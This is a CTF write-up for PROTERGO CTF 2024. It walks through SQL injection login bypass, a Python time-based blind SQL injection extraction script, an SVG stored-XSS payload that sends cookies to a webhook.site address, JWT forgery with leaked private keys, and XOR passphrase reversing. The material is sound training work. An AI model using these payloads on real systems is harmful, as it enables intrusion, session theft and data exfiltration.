PROTERGO CTF 2024 - Writeup

Last week, i participated in PROTERGO CTF 2024 individually and was able to complete 4/5 challenges and successfully secured the 4th position. Here is the explanation writeup.

Jumper - Web

Solving Scenario:
First, I checked the target website. After accessing it, it will display a login page that requires the user to input a username and password to log in.

Jumper

I checked the page source of the login page and found two endpoints, one for login and one to generate a token. The username and password sent will also be encoded into base64. If the login is successful, it will redirect to the /home page.

Jumper Jumper

In addition to checking the page source, I also checked the JavaScript files used, which potentially contain hardcoded credentials or others. From that check, there were no credentials for login. Because this is a login page, I assume there is a vulnerability such as SQL Injection. I tried to perform SQL Injection techniques to bypass the Authentication to be able to login. Basic SQL Injection payload can be seen from the source link.

I tried inputting ‘ or 1=1# in the username and any password with the assumption that the SQL query used on the backend is “SELECT username, password FROM user WHERE username = ‘ or 1=1# and password = x”. So, after the (#) sign, it will become a comment, meaning it will not be read as a query, and the (#) sign is a comment for MySQL. After trying to login with that payload, I successfully logged in as an administrator. However, there is a sentence stating that what is sought is in another table.

Jumper

From that sentence, it is clear that we need to dump the database. First, I attempted a Time-Based Blind SQL Injection payload with sleep, namely ‘ or sleep(10)#.

Jumper Jumper

Given that the login request with the Time-Based payload was successfully executed for 10 seconds according to the payload. Let’s construct a payload to extract the table, column, and exfiltrate its flag, primarily sourced from link.

Here is the solver I used.

import requests
import json
import base64
import time
from urllib.request import urljoin
from string import ascii_lowercase, ascii_uppercase, digits

URL = "http://tokyo.ctf.protergo.party:10002"
Token = "/api/token"
Login = "/api/login"
charset = ascii_lowercase + digits + ",}{.:!@$^&*()#"

class Exploit:
	def __init__(self, url=URL):
		self.url = url
		self.session = requests.Session()

	def getToken(self):
		hitToken = self.session.get(urljoin(self.url, Token))
		return json.loads(hitToken.text)["data"]["token"]

	def blind(self):
		table = ""
		column = ""
		flag = ""
		idx = 1
		error = 0
		while (error < 70):
			for char in charset:
				start = time.time()
				token = self.getToken()

				# Find tables charset without ascii_uppercase and underscore "_"
				# sqli = base64.b64encode("' or (select sleep(3) from dual where (select table_name from information_schema.tables where table_schema=database() and table_name like '{}%' limit 0,1) like binary '%')#".format(table + char).encode())

				# Find column charset without ascii_uppercase
				# sqli = base64.b64encode("' or (select sleep(3) from dual where (select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1) like binary '{}%')#".format(column + char).encode())

				# Exfiltrate Flag charset without ascii_uppercase and underscore "_"
				# https://lightless.me/archives/sqli-cheat-sheet.html
				sqli = base64.b64encode("' or (select if((select substr(fl4g_c0lumn5,{},1) from flag limit 0,1) = '{}', sleep(3), null))#".format(idx, char).encode())

				payload = {"username":sqli,"password":"x","token":token}
				execute = self.session.post(urljoin(self.url, Login), data=payload)
				end = time.time()
				timebased = int(end - start)
				if timebased == 3:
					# table += char
					# print(f"[+] Table = {table}")

					# column += char
					# print(f"[+] Column = {column}")

					flag += char

Run the solver to exfiltrate the table, column, and flag.

Table:

Jumper

Column:

Jumper

For the character “”, it is a wildcard representing one character in the pattern. Since the dump result contains this wildcard, a query can be performed on the index with the character “” to find valid alphanumeric characters. From the attempt to dump the table and column names, the table name was obtained as “flag” and the column name as “fl4g_column5”. Next, just exfiltrate the flag with the table and column obtained according to the above solver.

Exfiltrate Flag:

Jumper

Flag: PROTERGO{f0ac7b6358cf6269dc59819c1bf3019fc6fcc2c5f5567b8187eae87d51f25e8c}

================================================================================================

Control - Web

Solving Scenario:
Firstly, I checked the target website. Upon accessing it, there was text containing a link/endpoint for registering a SIM card, namely “/register”.

Control

I proceeded to check the registration page. It is noted that on the registration page, there is a form consisting of fields such as name, phone number, location, national identity card (NIK), family card number (No KK), and a feature for uploading a photo of the national identity card (KTP).

Contorl

I attempted to fill out the form with normal data and intercepted to observe the web’s response. It was observed that after the data was filled out and submitted, the API responded with a data URL path indicating the location where the file was stored on the server.

Control

In the response body, the uploaded file name will change randomly according to the backend being used. My assumption was that there might be a vulnerability such as Unrestricted File Upload potentially leading to Remote Code Execution (RCE). However, after attempting to upload files like PHP and others, it was found that there is backend validation preventing such uploads, allowing only image files to be uploaded.

Upon rereading the problem description, it mentions “The Admin will check the image ID”. This implies there is user interaction after I register the SIM card. And one possible vulnerability with user interaction is XSS (Cross-Site Scripting) link.

I attempted an XSS exploit via SVG to steal cookies, so that when a user accesses the SVG file, it triggers the XSS payload. This SVG-based XSS is Stored because it will be stored within the server/database. Before proceeding with cookie stealing, I validated the vulnerability to display a pop-up. Below is the SVG payload used and saved with the .svg extension, sourced from link.

Control

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("Banua");
  </script>
</svg>

Try accessing the uploaded SVG file, and the payload successfully triggers by displaying a pop-up.

Control

Next, I’ll create a payload to steal the cookie and send it to my webhook. Here, I’m using a One-Liner payload from link.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script>var i=new Image;i.src="https://webhook.site/d8286ddf-6b37-456c-b98b-e21b9d86bab0?"+document.cookie;</script>
</svg>

Wait for the bot to access the SVG file, and the flag will be successfully obtained from cookie stealing.

Control

Flag: PROTERGO{57d64a838c5158de42a706bf1e0195ee27406d551d29a217ed0706e8347824b0}

================================================================================================

Just Wiggle Toes - Web

Solving Scenario:
Firstly, I accessed the target web. It is known that the web only displays the sentence “Welcome to the website!”.

Just Wiggle Toes

In the response body, the server used is nginx/1.25.3 and built with PHP/8.1.27. Additionally, in the sessions, there is a laravel_session indicating that the framework used is Laravel.

Just Wiggle Toes

Since the directory/file containing other information is unknown, I performed directory enumeration, considering that this CTF organizer is an IT Security services vendor, so it wouldn’t stray far from typical “pentest” practices with directory enumeration.

I used the directory-list-2.3-medium.txt wordlist from SecList and the tool I used is [ffuf] (https://github.com/ffuf/ffuf) because, in my opinion, it’s faster than other tools. I ran the enumeration with a VPS because the challenge server was very slow. The enumeration took approximately 14 hours to complete.

Directory/endpoints obtained:

  • /home
  • /LittleSecrets/
  • /portal_login

Just Wiggle Toes

Try accessing the “LittleSecrets” directory, where there is a file named “env.bak” and a folder named “jwt” containing “jwt.php.bak”, “passphrase”, and “private.pem”.

Just Wiggle Toes

Here, I attempted to access the page “/portal_login”.

Just Wiggle Toes

On the “portal_login” page, it requires a username and password to log in. Since we don’t have this information, let’s register a new account using the link provided below the login button with the endpoint “/portal_register”.

Just Wiggle Toes

After registering, log in with the newly created account. On the “/home” page, there is text stating “only admin can view the secret.” This means we need to perform privilege escalation to become an admin in order to view the secret/flag.

Just Wiggle Toes

Let’s check the cookie being used, and it turns out to be a JWT. Try decoding this JWT token using a tool like link.

Just Wiggle Toes

It is noted that the algorithm used is asymmetric, specifically RSA SHA256. From the payload, there is a parameter “is_admin” with a value of “0” or false. To become an admin, this value must be “1”. If changed to “1”, a valid signature is required. Public and private keys are needed to obtain a valid JWT token.

Just Wiggle Toes

Since there are backup passphrase and private.pem in the jwt directory, we can generate the Public Key and Private Key using that passphrase.

Just Wiggle Toes

After obtaining unencrypted Public Key and Private Key, simply input the signature into link to obtain a new valid JWT token with the payload “is_admin” set to true “1”.

Just Wiggle Toes

Replace the current JWT with the new one generated, refresh the page, and successfully gain Admin access along with the flag.

Just Wiggle Toes

Flag: PROTERGO{f5016c424def47159321869c8e7ff4cac79b9e721c0d700cf7c0c8ab7f43b203}

================================================================================================

Juggernaut of Wicked Tyranny - Reverse

Solving Scenario:
First, I checked the provided web link. It turned out that the website is identical to the “Just Wiggle Toes” challenge in the Web category. We need to log in as an admin to obtain the flag.

Juggernaut of Wicked Tyranny

Previously, it was mentioned in the challenge description that the developer had hardened their JWT. Since this is a reversing challenge and an attachment named Application.zip was provided, let’s analyze that file.

Juggernaut of Wicked Tyranny

Since our goal is to obtain the steps to construct a valid JWT token, I checked the JWT handler here. To facilitate analysis and see if there are any changes in the JWT handler code between this challenge and “Just Wiggle Toes,” I performed a comparison.

Juggernaut of Wicked Tyranny

Based on the comparison, there were no changes in the JWT handler. This means the developer did not harden the JWT handler in this challenge. I then used grep to search for files related to “jwt” in the source code of the website.

Juggernaut of Wicked Tyranny

There is a binary file named “chall” in the storage/jwt folder, which is used in the HomeController.php file. When this binary is executed, it prompts for a passphrase input.

Juggernaut of Wicked Tyranny

Let’s directly retrieve the “chall” binary and decompile it using the IDA64 tool. Below is a snippet of its main function.

Juggernaut of Wicked Tyranny Juggernaut of Wicked Tyranny

From the decompiled result, the main function of the binary is to generate a Private Key. To do this, we need to obtain the correct passphrase. The passphrase inputted by the user will be stored as “dest”. After that, it will be XORed with v10. If the result matches v11, then the passphrase is correct. The values of “dest” XORed with v10 are random according to the index taken from the value of v9. Since XOR is reversible, we can reverse the function by XORing v10 with v11. Then the result will be the passphrase (variable “dest”) with its character index still random according to the value of v9. We just need to sort the passphrase (variable “dest”) so that it is arranged in ascending order based on the value of v9. After that, the Private Key will be stored in the folder /var/www/html/storage/jwt/. Therefore, we need to create that folder first for the Private Key to be successfully stored. Below is the solver I used.

v9 = [23, 26, 7, 3, 19, 1, 8, 14, 27, 9, 28, 20, 2, 15, 16, 17, 24, 5, 18, 25, 6, 0, 21, 13, 4, 22, 31, 30, 12, 29, 11, 10]
v10 = [231, 123, 105, 15, 54, 75, 1, 74, 193, 25, 56, 79, 23, 233, 160, 152, 196, 255, 64, 124, 120, 105, 69, 86, 73, 120, 150, 124, 252, 249, 79, 84]
v11 = [215, 31, 95, 106, 84, 114, 50, 43, 160, 122, 93, 124, 36, 222, 196, 173, 240, 205, 35, 75, 27, 95, 32, 99, 127, 79, 247, 25, 201, 152, 44, 54]

v4 = 0
v12 = [None] * 16
v13 = [None] * 16

unsortedDest = []
for i in range(0,32):
    unsortedDest.append(v10[i] ^ v11[i])

# Karena unsortedDest adalah value berdasarkan index dari v9 (sebagai contoh v9 = 23, unsortedDest index pertama adalah 48,
# karena berdasarkan decompile dest[v9[i]] maka output dari reversible XOR tersebut adalah dest sebenarnya tapi dimulai dari index 23),
# maka perlu sort dulu agar dari 0 - 31

# https://www.geeksforgeeks.org/python-convert-two-lists-into-a-dictionary/
tupples = [(key, value) for i, (key, value) in enumerate(zip(v9, unsortedDest))]
res = dict(tupples)

sortedDest = ""
for i in range(0,32):
    sortedDest += chr(res.get(i))
print(sortedDest)

Run the solver, we will obtain the correct passphrase. Then, execute the “chall” binary with the obtained passphrase as input. After that, the Private Key file will be stored in the folder /var/www/html/storage/jwt/.

Juggernaut of Wicked Tyranny Juggernaut of Wicked Tyranny

Next, generate unencrypted Public Key and Private Key using the private.pem file obtained.

Juggernaut of Wicked Tyranny

Then, retrieve the JWT token from our logged-in user and change the payload value “is_admin” from “0” to “1” using a tool like (https://jwt.io/).

Juggernaut of Wicked Tyranny

Replace the cookie we are using, then refresh the page, and we will successfully log in as an Admin and obtain the flag.

Juggernaut of Wicked Tyranny

Flag: PROTERGO{673311e2d939238eaa08e461b0f4be5928293e26ac16ada1b5dbfed335c544b7}

================================================================================================

Monad (Unsolved) - Reverse

Solving Scenario:
First, I tried running the “monad” binary. It requires 10 lines of serial number input. If incorrect, it will display “Wrong” output.

I attempted to load the binary with ida64. However, when checking the main function from the decompiled result, it turned out to be using GHC (Glasgow Haskell Compiler), which can be identified in the main function named hs_main().

Monad

Referring to (https://rainbowpigeon.me/posts/grey-cat-the-flag-qualifiers-2022/#-runtime-environment-2), we can decompile the binary using hsdecomp (https://github.com/Timeroot/hsdecomp/).

Main_main_closure = >> $fMonadIO
    (putStrLn (\loc_4226728_arg_0 loc_4226728_arg_1 loc_4226728_arg_2 loc_4226728_arg_3 loc_4226728_arg_4 -> unpackCString# "Enter 10 serial numbers:"))
    (>> $fMonadIO
        (\loc_4226504_arg_0 loc_4226504_arg_1 loc_4226504_arg_2 loc_4226504_arg_3 loc_4226504_arg_4 -> hFlush stdout)
        (\loc_4226376_arg_0 loc_4226376_arg_1 loc_4226376_arg_2 loc_4226376_arg_3 loc_4226376_arg_4 ->
            >>= $fMonadIO
                (replicateM $fApplicativeIO (I# 10) getLine)
                (\loc_4225968_arg_0 ->
                    case && (all $fFoldable[] (\loc_4224496_arg_0 -> && (== $fEqInt (length $fFoldable[] loc_4224096) loc_5042000) (all $fFoldable[] (\loc_4223912_arg_0 -> && (== $fEqInt (length $fFoldable[] loc_4223912_arg_0) loc_5042000) (&& (all $fFoldable[] isAlphaNum loc_4223912_arg_0) (&& (all $fFoldable[] (\loc_4223208_arg_0 -> notElem $fFoldable[] $fEqChar loc_4223208_arg_0 (map (\loc_4222624_arg_0 -> chr (xor $fBitsInt loc_4222624_arg_0 (I# 69))) (: (I# 21) (: (I# 23) (: (I# 10) (: (I# 17) (: (I# 0) (: (I# 23) (: (I# 2) (: (I# 10) [])))))))))) loc_4223912_arg_0) (&& (all $fFoldable[] isUpper loc_4223912_arg_0) (not (any $fFoldable[] isDigit loc_4223912_arg_0)))))) loc_4224096)) loc_4225968_arg_0) (== $fEqInt (length $fFoldable[] (nub ($fEq[] $fEqChar) loc_4225968_arg_0)) (length $fFoldable[] loc_4225968_arg_0)) of
                        loc_4226080_case_tag_DEFAULT_arg_0@_DEFAULT -> >> $fMonadIO (\loc_4225240_arg_0 loc_4225240_arg_1 loc_4225240_arg_2 loc_4225240_arg_3 loc_4225240_arg_4 -> putStrLn (\loc_4225176_arg_0 loc_4225176_arg_1 loc_4225176_arg_2 loc_4225176_arg_3 loc_4225176_arg_4 -> unpackCString# "WRONG")) (hFlush stdout)
                )
        )
    )
loc_4224096 = (\loc_4222144_arg_0 loc_4222144_arg_1 ->
    case dropWhile loc_4222144_arg_0 loc_4222144_arg_1 of
        loc_4222208_case_tag_DEFAULT_arg_0@_DEFAULT -> []
)
    (\loc_4224024_arg_0 -> == $fEqChar loc_4224024_arg_0 (C# 45))
    loc_4224496_arg_0
loc_5042000 = I# 4

And I am stuck here as I have not yet understood the flow of the Haskell code. However, from my limited understanding of the check, it seems that I need to input a serial number in uppercase alphabet format consisting of 4 characters separated by “-“ to form the serial number format.

Thank you for reading this article, i hope it was helpful :-D
Follow me on: Linkedin, Medium, Github, Youtube, Instagram